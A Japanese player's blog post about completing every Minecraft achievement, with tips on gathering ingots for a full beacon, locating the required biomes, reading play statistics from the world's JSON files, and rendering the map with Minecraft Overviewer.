ビーコンを最大出力にする。 鉄や金のインゴットが1476個(=23スタック)必要。 ブランチマイニングで採掘せずとも、バイオーム探しの途中で見つけた洞窟や渓谷の中に入って、壁に見えている鉱石を掘ると溜まる。
これが一番大変だった。 ゲーム中の説明では全てのバイオームの発見だが、実際はここに載っている次の36個のバイームで良い。Ice Plains SpikesやSunflower Plainsは見つけなくても良い。
同じ場所を探してしまうと無駄なので、地図を作ってウロウロする。 ジャングル、メガタイガ、メサ、マッシュルームアイランド以外はすぐに見つかる。 Beaconatorを達成して鉄鉱石が不要になったら、あとは海を進んだほうが安全。 マッシュルームアイランドは島だから海にしかない。 その他のレアバイオームは大きいので、1km間隔くらいで歩けば良さそう。 このくらい歩いてようやく全部見つかった。 マッシュルームアイランドとジャングルはこの中に2個ある。
world\statsの中にJSON形式で、現在のプレイ時間などが書かれている。
Chromeの開発者ツールに、 x =
に続けて貼り付けると見やすくなる。
プレイ時間は、stat.playOneMinuteで、OneMinuteと書いてあるけど実際はtick(1/20秒)単位らしい。 72000で割ると時間になる。
走った距離(stat.sprintOneCm)は11501929cm(=115km)で、死んだ回数(stat.deaths)は230回だった。 ゾンビ豚に殺されまくった。
全実績を達成したので、Minecraft Overviewerを入れてみた。 Googleマップのように眺められて面白い。
http://sanya.sweetduet.info/minecraft/
全領域を事前にレンダリングするらしく、このマップで所要時間とファイルサイズは、3時間と11GBくらいだった。 PC2台が点けっぱなしだと部屋が暑いので、そのうち消す。